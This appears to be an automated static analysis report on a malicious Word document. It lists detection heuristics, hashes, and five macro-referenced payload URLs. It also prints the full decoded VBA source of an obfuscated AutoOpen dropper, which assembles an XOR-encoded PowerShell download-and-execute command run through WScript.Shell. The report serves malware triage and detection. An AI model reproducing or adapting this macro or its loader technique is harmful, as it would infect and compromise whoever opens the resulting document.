Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6d254b4e6d9e0103…

MALICIOUS

Office (OLE)

238.0 KB Created: 2018-07-02 15:05:00 Authoring application: Microsoft Office Word First seen: 2019-02-26
MD5: 0c22a694dc66cb344eaffcb359876dba SHA-1: 9cd7bf99e04f75b0c79882e3325cc5791c571a27 SHA-256: 6d254b4e6d9e010342016174f1aa9ef5c377701dfd4d2fdbefe67b21098f8893
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The AutoOpen macro utilizes CreateObject and Shell() calls, specifically referencing 'WScript.Shell', to likely download and execute a second-stage payload. The presence of these indicators strongly suggests a dropper or downloader functionality.

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-6599351-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6599351-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       NwWsh = (28467 - kPhkZ - QKrRJU * tjRJE)
zMIwuoKI = DvwnbVWhcnh + CreateObject("Wscript.shell").Run(AbZXiwwb + Chr(vbKeyP) + JnHPqjGiIL + Chr(vbKeyO) + OUzoicLZQ + jzEtwh, 358131389 - 358131389)
   KpMEsc = (51255 - iMCqd - inTSBS * IPKLz)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       NwWsh = (28467 - kPhkZ - QKrRJU * tjRJE)
zMIwuoKI = DvwnbVWhcnh + CreateObject("Wscript.shell").Run(AbZXiwwb + Chr(vbKeyP) + JnHPqjGiIL + Chr(vbKeyO) + OUzoicLZQ + jzEtwh, 358131389 - 358131389)
   KpMEsc = (51255 - iMCqd - inTSBS * IPKLz)
  • Payload URL decoded from an encoded PowerShell loader (5 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URL
    A VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "SuwZFFuZkuEKA"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.ecuadoresort.com/Oa/ Referenced by macro
    • http://www.dessertcake.com.ua/he4f/Referenced by macro
    • https://www.ky663.com/zzd/Referenced by macro
    • http://www.hunter-kings.com/wp-content/czVbGb/Referenced by macro
    • http://www.dotlenieni.pl/Fk5j/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16944 bytes
SHA-256: 3dc8c7c2aed2e6709a353c3348b235220e98aa75970143038556b8347d86dc3e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
457 of 710 identifiers look randomly generated (e.g. 'SuwZFFuZkuEKA') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MapEjCmmh"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "SuwZFFuZkuEKA"
Sub AutoOpen()
On Error Resume Next
   oGqpcC = (95255 - BwnKG - hoaPc * CRYnCJ)
   sfXlu = (50227 - GzXOu - FiMoKj * tsOvD)
   tEbBEu = (11638 - EWwDr - nzujN * DWTjb)
   SkXzRb = (66367 - wqjRVa - JAEibR * ojKzji)
   hLRzZ = (40889 - OFMCiB - ucQvlt * tQXIL)
   bjWhC = (75986 - lFddM - kkMhQM * htUFk)
lOfnDRw (ThklXsrmw + bDHGlm + ZuURjGz + IwsvC)
   ozovuo = (26000 - mXQsL - fVPKwA * zdwXrL)
   EBmuSs = (22491 - bjYii - HXdAU * ksitw)
   vqoTr = (939 - QiSTv - tvusf * QNuEuB)
End Sub
Function lOfnDRw(OUzoicLZQ)
On Error Resume Next
   XsLMW = (85879 - QaWElL - BQFVm * aBAdw)
   IjipwN = (41189 - ikGkP - aJsvCI * PPCXX)
   SpTqX = (4561 - RzllWa - SHtjl * ScsGU)
   pdsRjS = (49931 - HDIsZV - ILbIWM * JXwsDQ)
   jfNnHZ = (89575 - zBRzwI - jZkwP * VpAiOz)
   NwWsh = (28467 - kPhkZ - QKrRJU * tjRJE)
zMIwuoKI = DvwnbVWhcnh + CreateObject("Wscript.shell").Run(AbZXiwwb + Chr(vbKeyP) + JnHPqjGiIL + Chr(vbKeyO) + OUzoicLZQ + jzEtwh, 358131389 - 358131389)
   KpMEsc = (51255 - iMCqd - inTSBS * IPKLz)
   RjufK = (14754 - QijAZU - tiNoj * DTAEpC)
   UToPJ = (37917 - YvFRww - NaqXP * CoYIEB)
End Function

Function ThklXsrmw()
On Error Resume Next
YanGv = MnKBGN / Qrtzf / tHMJw / SNzZG - Ucmbuc - WpsjA + 76563 / YwaYF * SGRJMQ * vdTMNE - llnpz - nIYBa
   rPtwbh = dAYrf / jhiWcR / jYUnd / kzQvvH - DAaGvB - bUhmWw + 89542 / AUAdma * TuGTow * NFdjAq - HXbbjp - qiRjs
   wwuSUD = hfAcN / AHbJmv / JtwZC / lkcLo - vAdQLK - zjwbX + 98718 / wpEPY * lomDzU * RSWET - pRmWq - zYzTK
FBuCo = "wershell" + "    " + "         " + "      [S" + "TRiNg" + "]::JOin" + Chr(40) + "'"
YpzVW = UAFiw / PhBhk / kFDWH / NUliUB - LcsWZT - XoMhSw + 75747 / bVQIub * rLChWH * RqfDC - qXKcNo - wtWDJ
   WlmVn = TfUOKc / dlOsW / TvZYnJ / bonJhQ - AuFJIf - tZtXaL + 51892 / jYPCW * PwMwM * zfsKj - tNjfFk - tZWfBM
   JIIOuf = blztKv / lOhjqf / NjATi / chtQL - OtrXdQ - AScml + 89767 / MHLpwK * fwZHvP * Qtrji - hkuqD - pfzkw
QwLmwoAAvff = "'," + Chr(40) + " " + Chr(40) + " 57," + "103 ," + "127,7" + "2,32 , " + "115,1" + "20,1" + "06 , 48," + " 114," + " 127 , 11" + "9 ,12" + "0, 1"
hnWjq = zluEKi / OWLGTm / MisFK / aTwdM - rcukEs - lpJrw + 60769 / BvfVij * nzwvQV * ZjmRsU - GTmGNP - jCrta
   ltPNMG = MlhUr / oVWVCP / ClDLou / ZDzpw - hWHBc - wwYFp + 80855 / QAjZXT * NmzpEY * AfIns - SPRNV - jSzdjO
   EdGtd = VKLuW / wEzwS / RzURB / SEikVP - TbjUp - mfOXLH + 39358 / vYokVi * PQAmb * aZulp - lDqNjJ - jkCaJ
KdGhqdB = "26,105" + ",61,8" + "3 , 120" + " , 105 " + ", 51 , 7" + "4,120 ,12" + "7, 94, " + "113 ,1" + "16 ,120" + " , 11" + "5, 105 ," + "38,57, 9"
VzApw = KdfLfI / nZrkVU / NjXiO / vRFkDj - YwNYm - tIdZcN + 87551 / putqCQ * mobVbG * sYvHvF - oLTwW - zkHvRV
   Dindzd = Eivpn / TLJXZ / Lnvbt / QTnHv - Bqphv - JRPRmb + 46642 / SpwpXf * mOsHC * OiJPzj - nzilQQ - HrtBU
   wvbXw = PpOcwa / zujFCp / jJVHKY / RKvUr - zwTHmR - TzZVl + 21331 / RTYlr * cTnZT * ZczfS - FntCa - TlbYkk
YZdRRUFHUkD = "1 , 92" + ", 109 " + ", 32,58,1" + "17, 10" + "5,105,109" + " , 39 ," + "50,50,10"
OYWdhT = wQroW / AiiaIw / jzMTSN / jptVO - twnMX - aBZbK + 17058 / UkIHAK * ZwQMCK * OTGXV - BDCvSD - YbGWCK
   GXLtB = ZlKlC / sCQEd / RoLAi / sjpjC - fEGvjV - CFcfj + 58963 / RmdYhf * azjAGo * AVitjd - zEzTu - bPpJbV
   IFCRw = CEEZu / jaBkwl / BUThjE / nCLKXY - fduTNu - aBsfC + 81331 / RZiqX * UooXWM * iAtuC - sBzHR - qmaSaC
bEqlDfVcGor = "6 ,1" + "06 , 10" + "6 , 51,12" + "0,126," + " 104 , 1" + "24,121 ," + "114,11" + "1 , 12" + "0,110 , 1" + "14,111 ,"
azSwB = zdboM / ztXIWA / ljBwoV / MFGwz - Wqjnu - EZiooF + 30554 / QDBZTz * rWZCib * vsWcpI - GJkNm - LGvNqY
   sVYisL = vwhaJM / MhTEoi / QhMozO / zpuJr - bsvYiK - FHVUJq + 7131 / tnRNc * bnLtvw * wGnRRj - Tmvai - cJMsfG
   sECdw = czEki / NGHAiD / HmsHsq / jWRbSO - lptDJV - GROBR + 83204 / mVJdp * zYAwKm * jGhcR - ucRNw - ipAUd
BUvIr = " 105 ," + "51,126" + " ,114 " + ",112 , 5" + "0,82," + "124 ,50," + " 93 , 117" + ", 105,1"
VXvZTb = bihjww / jETCi / SVUsMV / NnjAGU - iXwvRO - nVwhD + 25384 / fprmon * ACCNzv * ozjad - YMGYk - piAYL
   qJEjfz = fUKkP / JdmRL / HJKtQ / jCZka - MGiEm - pzppnl + 99182 / zimhUi * aRjjQ * Uwwuuu - YJZFqw - NaSVYt
   OCPrQ = JlpzXV / Uwsut / AboEhq / CoAzN - WWGwh - iwpmU + 51732 / VwGOhX * jspZwi * utVkq - PzdOCL - OtLoTd
KjjbZXfN = "05 , 1" + "09,39 ,50" + ", 50" + ",106 ," + " 106," + " 106,51 " + ",121 ,12" + "0 ,1"
ThklXsrmw = FBuCo + QwLmwoAAvff + KdGhqdB + YZdRRUFHUkD + bEqlDfVcGor + BUvIr + KjjbZXfN
   oFkpKn = ZYqJFL / aXTiX / PlpwZb / iEhvdv - iLQGCP - iIarLa + 27073 / MjjRJ * DPlPi * BVqujJ - sPHMf - YhcOG
   Isiwo = RjBiV / iUTczY / HazPS / TCZwCz - rEpDpq - TIwOu + 83259 / qQwMi * JEiLdP * VLsiw - rEdiQn - Pwwdi
   bYdmc = YWUmWi / ZbmIQ / QQAFM / jYVMNG - cJnqr - PwaIW + 34084 / AqNid * hOSEbS * BwNCJ - jRBQm - ujASpI
End Function
Function bDHGlm()
On Error Resume Next
PiXwV = LPwZp / GzmoI / DPqKiw / JSmkoG - mOPvm - QsTMOP + 39181 / XzatV * BabFz * ULtYf - SWcrh - CTTLwd
   BiOsA = Llkbv / qTYYNR / LCMVEE / EIlja - iBhIn - qiVXdR + 37306 / VLkzUL * vLpNJn * HCzDBv - pmQlkb - pfjDlc
   sYmMPR = qrudpJ / SXZQYd / ZTOkjl / jFJYK - PdNrmd - wuVIu + 34594 / XIJnM * RTEYcf * dKmlEi - LoJiiu - hiwFp
wSpaAYwG = "10 ,110" + ", 120,111" + ",105," + " 126,1" + "24 , 11" + "8,120 ,51"
jUBXJd = SqmTwW / wufwc / UzJMn / aWljiJ - TLotcA - NWQEYM + 81788 / afKfrT * jLpji * XjJHJ - DtKBC - htziEn
   TiIlUM = TrQMnK / MVEwuj / wzrjP / rCuqdz - jvMaY - onbGP + 9336 / wpzPM * zoWjQ * FizRw - ipBPRJ - ZisTVr
   bsmCEf = cAVJOv / TioWi / jPVjXo / mTFUAp - iMrzMR - GpfFCN + 19348 / zDzrL * LWFiQu * IuAJZG - GqrJNk - aqbUa
rHkDuHCbFww = " , 126 " + ",114," + "112 ," + " 51 ,10" + "4 ,124" + " , 50,11"
IQabQY = YrvWM / wQvtzs / MAZNNi / lObTl - uDDFh - GLLwRf + 81780 / okTqW * bQHrMO * NdJPbk - zsMqL - mmBEH
   nvvGVz = VMidD / VsppGw / FnmQi / iKZJz - BIqHc - oIrlqO + 63953 / KaoEHc * ZVAIi * NQGwDh - BjilN - SnXTz
   jjzIW = BVwcm / wzwask / mhKzaw / qsJTB - ClvvP - jaCLX + 46609 / omQQsv * dLpYiX * TfJMi - knNCDK - AOjWmY
MoBQifC = "7 ,120 ," + "41,123 , " + "50 ,93" + " , 117 " + ", 105 ," + "105 , 1" + "09 ," + " 110, 39" + " , 50 " + ",50," + " 106" + " , 106 ,"
qtsXz = DmEPCX / BvVVwz / fcIJY / AnrNON - kTULWf - tZwmh + 91631 / rSmhZ * rpOlj * GjQvqB - lIiaJw - uMGiW
   WQWAvl = riivMt / NshCj / unUvYd / THpPDj - sSrdOi - sUTzAz + 87591 / tEwXQn * vbcRGd * sOscPZ - BEnCMB - BwYjl
   NkQfTp = WQAwX / IbEFX / TusALV / lPucE - VzXIwM - ZQYlD + 82493 / KtrwtA * RjUkFK * Eucnw - CBkTF - NHDVHz
FUJiCaR = " 106" + ",51 , 118" + ",100 ," + "43, 43," + " 46,51 " + ", 126,1" + "14, 1" + "12,50"
LlPmTT = wzzuJ / pZnRYA / jQYpPb / ruTwW - WzJDD - cFTEqo + 24753 / IiHlI * mSvMZ * rIJCj - YEXsQ - OZXlNL
   ciJUEj = DvvEjc / YUdiH / sKDIrc / IPiikO - Wbavq - MlpNd + 84019 / bsZibW * jSbAcb * foQMUU - Bwtin - ZGUpiA
   HQpvGN = YEAZTO / jzYAJ / LavjA / YLczlV - fqPzUF - qwzwU + 28967 / lsJvp * ckhVJ * SpSwGP - qjVRw - vCjOc
jwWCriM = ", 103, 1" + "03, 121," + " 50,9" + "3 , 117" + ", 105" + " ,105 ," + "109 " + ", 39 , " + "50, 50,1" + "06 ,"
OtpvdO = bHOLiz / fkfoW / pVpJv / jdjow - dpFEf - EwOXH + 83449 / VUIphu * zVptD * zKiJuS - mEJMa - OkZAS
   BDDCNm = nHREBw / jHUvRX / PIAPOX / jqBEj - YTnFwP - QQnSqT + 12989 / RDqwov * uDmzOK * RQARR - NTOwB - WwVhY
   RpSnLH = jnYkTz / nMzWS / BCUzo / vOYmZW - EzUli - sVhQo + 68084 / BzlKzw * ztOVU * UMhLBw - FsETa - RaDTl
AZOJnkzq = "106, 1" + "06 , 51 " + ", 117" + ",104" + " ,115 , " + "105 , 1" + "20,111," + " 48 , 1" + "18, 116 "
rMpjCF = wBiPf / DXtFm / wWdVt / UvYpin - LimzT - aPoavQ + 25085 / VpqaXj * zPOrvj * KAIXqA - jQYaK - EKvhE
   wbZwa = zuhbHz / BzRtR / coZvQ / wObfi - VXfFE - MDVvYk + 19716 / JzZGzr * vpZZj * niYXO - Emchw - rjNjhQ
   lTBwpV = nPZhGf / RZZzX / iFKhS / LGKuLI - kvomh - CjPpMv + 51699 / WZHom * HGfJU * MJbcVN - zvccn - NUcSQw
bNTwZwUZfj = ", 115,12" + "2,110 , " + "51,126,11" + "4 ,112, " + "50 ,106" + ", 109,48" + ", 126 " + ", 114"
FaRiGR = UYpZIR / CojRwv / NGNim / nzwotY - jLcoh - Xkfpt + 57163 / wEkwvn * ZrUEwU * HXaAj - zIqLuk - XYiQTE
   AwGiPG = SLSXH / KrFoS / ZMbmY / zMTrp - hmPij - RsRji + 16850 / tQCAU * VcIfUY * iQPtn - WzqVIc - BWZHq
   TVfBwM = sTrYHv / WVBdX / HmTCvu / MzzDB - qFrCOS - oiDFSN + 24826 / ljUwj * WhBdGB * muToWS - EfTmK - GYiNjh
jQRwYD = ", 115 ,1" + "05, 12" + "0,115 ,10" + "5 , 50 ," + "126 , 1" + "03,75" + ",127," + " 90 "
bDHGlm = wSpaAYwG + rHkDuHCbFww + MoBQifC + FUJiCaR + jwWCriM + AZOJnkzq + bNTwZwUZfj + jQRwYD
   wwWsCR = uwYVSc / FhnnKN / fIaGAr / VvODl - PTDzwE - ksmlPZ + 96564 / zspTk * RovmB * WZDKR - ifmipq - UqmVp
   uiMztF = urrXsM / QNFoNt / pOZELw / BJElr - dYKaHa - DRznCX + 22543 / LcbGL * FUnvhJ * simmB - CrCijn - sXPlBn
   Hpjcfj = YEXfZQ / KjMAAm / QIzuS / EhFBt - ZPCBKH - Hdmfz + 13461 / TioCk * Aarhj * MPZqzV - frLHhC - fffddz
End Function
Function ZuURjGz()
On Error Resume Next
woQtj = vfwDM / OtiZt / PoFfp / aTXbUD - EAvmK - uEGur + 62921 / PwrsV * YjEiA * zTSPu - KtqIM - GTYzU
   atwXCY = BiwiHL / iXLpcT / rSnSCw / QUiSG - ajZBAl - fAjHXi + 91962 / wfzsVH * aJEAZX * NTMBPT - zKoqmD - lfvYDl
   phakn = GQzAMJ / mNvWOb / wVIBjE / odIbWm - XllQc - rjMoic + 16088 / YkZJb * UUYYB * wRnoYp - dPbJF - zmRIUX
NOaIiDER = ",127" + ",50 ,93," + " 117,105" + " ,105" + ",109" + ", 39 ," + "50 , 5" + "0,106,106"
pJYzF = sjiQb / RlVCuB / KwIov / jIjqR - bfrczb - zwWAD + 28154 / IvUBz * HPiOj * doVQI - RmAHaI - bfDdo
   uOwch = ciGIic / SvVLhb / MahnVG / YmBoZP - olSWmo - PMCPNI + 89615 / lIqXf * ThLHav * sFTFN - iJCov - BzNfYH
   oAAtwB = zUEHOM / iWHiJA / QNjTu / dzFBnz - GDsMVD - DJEuai + 89978 / aGwOH * YnQZDR * AODUP - mfivNG - CGJpt
qsiEG = " , 10" + "6, 51, " + "121 ," + "114 ,1" + "05 ,113,1" + "20 ,1" + "15,116 ," + " 120" + " , 115 ,1" + "16 ,51,10"
wZMGV = XJRCqn / sDsvVz / MWNLv / VLkdm - rsvFjK - tHJKwV + 7134 / lUJkL * wpZLBK * FMYoQ - vDwwL - dEMCMP
   EZsBnn = rFWLwd / cwacfN / mcDBU / dYjDm - Qbvknh - bBMPoK + 95365 / vcFbz * pSzpzS * DSYTZC - UjNnu - mGaMO
   XAivbb = TbIwvn / CXjnw / HlrPO / hvojs - aIvaVX - rljkLi + 35520 / fzPXmP * klITjJ * sfsQNU - TcBLqF - YBfjwS
wROrSjt = "9,113, " + "50,91, " + "118 ,40," + "119 , 50," + "58,51 , " + "78, 109," + " 113,116" + " , 10" + "5 , 53"
nnJVR = pKXzlE / bFbti / iPHMJ / jNpZCq - SfVpz - JEHuwo + 49947 / hGSCM * EkufaA * iaAlU - NmaFQ - LUwWVL
   rAkrbt = msDVuf / jnvkWi / HGoWz / htmmNw - SKVUz - oTCzbD + 62908 / wQQSpj * juvUiu * sGQIzT - WSbnbt - EGNSQN
   cVUXPl = QZzSAu / wjSFME / wpiOmi / oiCOjI - lvkii - GsbUbz + 39944 / WuMDJ * ijpJc * EbrzE - mLKnh - iGTFO
wZHCFDF = ", 58" + " ,93 , 58" + " ,52," + "38 , 57, " + "88,124 " + ", 90"
nLzrJ = qiNUi / jLGLin / HnIwZ / IlMCkW - JfWkd - ZCCOjW + 36681 / JaIro * IWWfOZ * Abijcz - hAoWh - NEFZba
   jsBGX = pBTik / OzKbiH / bhMTG / BZBUI - YUBQf - TcOfFt + 8427 / PBfBtS * MjrWY * GVwojL - MVMhi - KiuvbS
   QkzuA = pzLkKu / mMHSr / ijdup / WzHkSn - DJdWV - oFVVA + 69901 / nXHwX * ECjfnp * vdbiP - zuqzIq - PCSNOd
NuGXaVDbi = ", 61,32 ," + " 61 ,58," + "42, 45 , " + "42,58,38" + " , 57," + " 83 ,106" + " ,94," + " 32 ," + "57 ,120 ," + " 115 ,"
TaAJE = rGbGno / IhrHX / fbrDPV / HmczX - HfCMTv - BhZiI + 34891 / HXUZzB * zacWkn * pEiiiD - WFUXMW - zBMvzW
   iwKDK = vInIrW / rYaXh / YEkIm / KtMEQz - nTKCR - WjBGts + 93569 / dDpdhr * CBzpY * ACjDW - nikhW - wLXWw
   QpmjqX = jGjlRM / sJWdS / WhIQt / SUkjA - CHYiiT - LdnEH + 94530 / VJQno * DwTjjW * UEFwZj - OFnJf - RGYjc
XwiJwXHb = " 107 , 39" + " , 105" + " ,120 , 1" + "12 , " + "109,54," + "58 ,65," + "58, 54 ,5" + "7,88, 124" + ", 90 ,5"
JtwMO = JTtUHc / dhvHTi / OwGDCk / NwtRoJ - rnNnJ - hliRm + 27034 / GoWCiw * mNmtJ * nvWADS - althT - SvcRp
   kRCzWo = FZpjH / Lcvza / RlRAB / fIzYQb - QwFmbj - OYRjf + 78510 / RbUFM * iFNSR * KrjJj - OvrFG - TTOAsU
   UMiNhf = DGEKk / VaWUhO / XRtNMU / mtGhMt - zocdzi - FHqjU + 38079 / twtTi * ODTVBM * jKAXz - FYmtqi - WRJCjr
zhSwonfzZE = "4,58 ,5" + "1,120,10" + "1, 12" + "0 , " + "58, " + "38 ," + " 123 ,1" + "14, 111," + " 120" + " , 12" + "4 , "
wEJwQ = Ykwwh / PONDzI / HTlvli / SFJdn - FTuJzT - GpQrps + 24093 / ODvsm * QzKJXR * BSaVK - mwTDG - RpRCuF
   oonYa = iqvZiB / ifclP / OTuVVu / jYfSJv - cUozWv - UcXBH + 85646 / oiqJN * bwtTSi * HJKdQj - rJrcP - VtqXU
   Cbuuo = vHVja / hsJCK / tkXnV / mOuuRh - WzEbK - PWVUb + 67464 / iWvWJ * iYijq * GPHaN - poaEV - QzpvvY
KqQzc = "126, 117 " + ", 53,57" + " , 112 ," + "78 , 1" + "16 ," + "61 ,11" + "6 , 115,6" + "1,57 ," + "91, 92" + ", 109" + ",52, 1"
HMvvOR = rVBRvZ / zUuaz / wzXkQu / rAcJz - dqjVD - EuCHrq + 54234 / dPALK * fiJoLi * Gvqsr - tvKNz - msswqj
   RvDCNl = dpWjz / BbFXp / ioaIv / pOVJzu - EizTw - MkJbz + 51186 / Dhcpku * YbFrm * CYWfT - bUvuBH - GclUM
   iLwHmf = EiqcZ / hqOoN / HHzPHn / hdnjnG - OEzGQk - ultiTU + 86933 / QsoYpF * ivoUL * wQwDVh - ctIXdf - VFloS
SbCJXwFiZw = "02, 1" + "05 ,111 " + ", 100," + "102,57 ," + " 103,1" + "27 ,72, 5" + "1 ,89, 11" + "4, 106,1"
HZljjp = NAodY / YEUVFD / ibkcX / XVbfjH - GaJAVU - SFlOY + 25157 / UwRXQ * azjoI * uSBmV - Wmizu - AlCpZ
   oqjbAR = IWujvJ / UwzLO / YiISB / UYwnm - ISqcZ - qbsJX + 2615 / SqRRus * cjUFiO * zwaKiI - mrjrY - VnHPLG
   jKDHDv = qczku / tqiSz / tQjwiZ / MPpYF - bZqptS - nGXJu + 97805 / NniIpP * NYCLV * iilBEr - SlCBlz - BmtWEj
HqHZPo = "15, 11" + "3 ,114, 1" + "24,12" + "1, 91" + " ,116 , 1" + "13 ,12" + "0 , 53 ," + " 57 ,11" + "2 ,78 , 1" + "16 , 49," + "61 , 57,"
RHSFdh = wqwwo / topQtC / jSAFAT / IiDzO - JNPoXf - LhJrBv + 81978 / lRGip * EzHMEJ * KRnAh - ifZBsO - mBIID
   WEKZCZ = HPGKI / VrMaiR / PGBal / BwXfw - YpREwU - bcNsQ + 53184 / CZdoL * YGaQC * ofYMkk - akFEm - FSppC
   lwQUb = jUfMR / ABPjk / PcHIB / zVqbFA - QYCRkY - wtBQc + 26304 / qDlzY * mZZGdz * WGdIOi - AqwkiI - HWbrj
ShtZzIGK = " 83,106, " + "94 ," + " 52 ,38 ," + "78 , 105," + "124 ,11" + "1 ,105"
hQmdAr = kvOMK / dWNwcT / XGnvnG / wKvuH - uESvuL - QKZpMc + 35098 / hzYmmk * bcrqu * aaAUE - kZERBQ - hNjwi
   dBWMw = ZNFNH / SVQAQV / UEMjMQ / TUwCq - JzjPoE - lIdYSR + 49810 / sEllm * jAQRK * jvERDX - RTpAM - iFMan
   uqobQ = QDhaz / ziIHp / MVvII / DDZaH - WacAP - uUoGm + 37646 / rUZDhC * QIOSW * ihYMmp - VDZmwO - MUOGi
ujFQmQrZQ = ",48,77, " + "111,11" + "4,126" + ",120" + " , 110 ," + "110,61," + "57 ,83" + " ,106 " + ", 94," + " 38 , " + "127 , " + "111 , 1"
ZuURjGz = NOaIiDER + qsiEG + wROrSjt + wZHCFDF + NuGXaVDbi + XwiJwXHb + zhSwonfzZE + KqQzc + SbCJXwFiZw + HqHZPo + ShtZzIGK + ujFQmQrZQ
   MviukD = UDSETk / ckSid / ZvVzK / TqrjQz - BZJYhv - qOMZdn + 47664 / XUzOc * FRZjj * jEdTC - iilTM - jwdLiw
   nhRKW = Vwqdp / ERWqj / VIBiM / iXVNDq - iJfGqI - dMjct + 92496 / NwzDq * HdZJFV * cwmHuA - LvZKfh - vJYYo
   NUbVK = NnAjV / VToiZ / hsNDRX / XIJLUA - RFbHXQ - hnvKMD + 18623 / NfRjz * wCJDEj * EDcjik - PshHId - EStFT
End Function
Function IwsvC()
On Error Resume Next
msNHl = apqUB / TZcrGS / SCtBA / awGQN - TaLbt - SapYww + 53952 / oASENz * WFMsq * lLMUZ - whCIzj - osMuF
   WCBSW = BUkvHk / wlvlls / WFqjE / OfiXu - cMNHil - jAmwm + 57984 / UmzCrZ * YwRLUO * VVqMB - HfkdM - iJWjG
   CUnbi = jUtDNw / OWrOfw / lFcpCU / qujCOK - Ruatn - jjfDR + 77155 / wdmvqn * RwswZ * lpZMB - lnwcQU - hEEaYY
cQPrJU = "20, 12" + "4, 118," + " 38,96, " + "126 , 124" + " , 10" + "5 , 126, " + "117 "
jKLaL = zZtMO / bznjYX / cYuiF / LEauj - tVVMK - McHuV + 51914 / BZnuVT * PMUjl * GIACWi - oULGm - aLvRiC
   ZYhZjB = POwUz / COjPcD / Tdtls / VzJPK - GvRoD - jSWNjk + 65486 / PjBIc * qidvfw * LjEFwm - smlac - wkBFtI
   iFowB = bUYSWJ / EVmRI / wZQcvb / znFjXB - swFsI - MLnUU + 28918 / UYbwj * IKiRdt * VnoOr - UmPGPt - DYmlw
wbOzUjObkrm = ",102 ,9" + "6,96 " + Chr(41) + "|foREACH" + "-ObJ" + "EcT {" + " [CHAR]" + Chr(40) + "$" + "_ -B" + "XOr 0x1"
DzPJj = FwAnS / JXKwGX / mpvXs / hVItG - BSntDz - AVrGw + 24091 / fdKzTz * osSHa * HzfwE - rQMWdG - kXwviz
   EEsXJ = bjHhB / biDEbE / rRljO / IrtoUu - jRbCPd - RDajnK + 39257 / wWHTM * LCSXi * BNiunm - FJCBo - LGnrFs
   NzsWh = haVPJ / lnrDVf / BvPBvV / UAEXK - iacEU - NmEoj + 88341 / XDLUDS * MrIzv * BOfjWz - zzKKn - JSGwGf
LaKkBiwH = "d " + Chr(41) + "}" + Chr(41) + " " + Chr(41) + " " + "|& " + Chr(40) + Chr(40) + "G" + "V '*M" + "dr*'" + Chr(41) + "." + "nAmE[3,11" + ",2]-jOIN'" + "'" + Chr(41) + ""
IwsvC = cQPrJU + wbOzUjObkrm + LaKkBiwH
   JOoJz = NBWvc / bmpFLh / fMhUsq / CjYfDB - ukPuoM - mVuCf + 30556 / wDVsQ * bzctv * Hwdcr - bqhCaK - Uisrm
   AWDLJ = GWMaUm / dOBpuB / UcSHj / UPBszk - PVlwU - inUDmB + 82967 / VVWGAj * qYDviQ * rVUck - NHcFUG - PAYjF
   Pwtflz = LZziA / XYwwiJ / MPOsR / tJhpzW - pAGzqj - jToJuE + 59800 / zTBqWo * zjBOzD * djzMLz - RwIzi - sbEwMG
End Function


Attribute VB_Name = "TCaBttPJqkhr"

Open this report in the interactive analyzer, or submit your own file for analysis.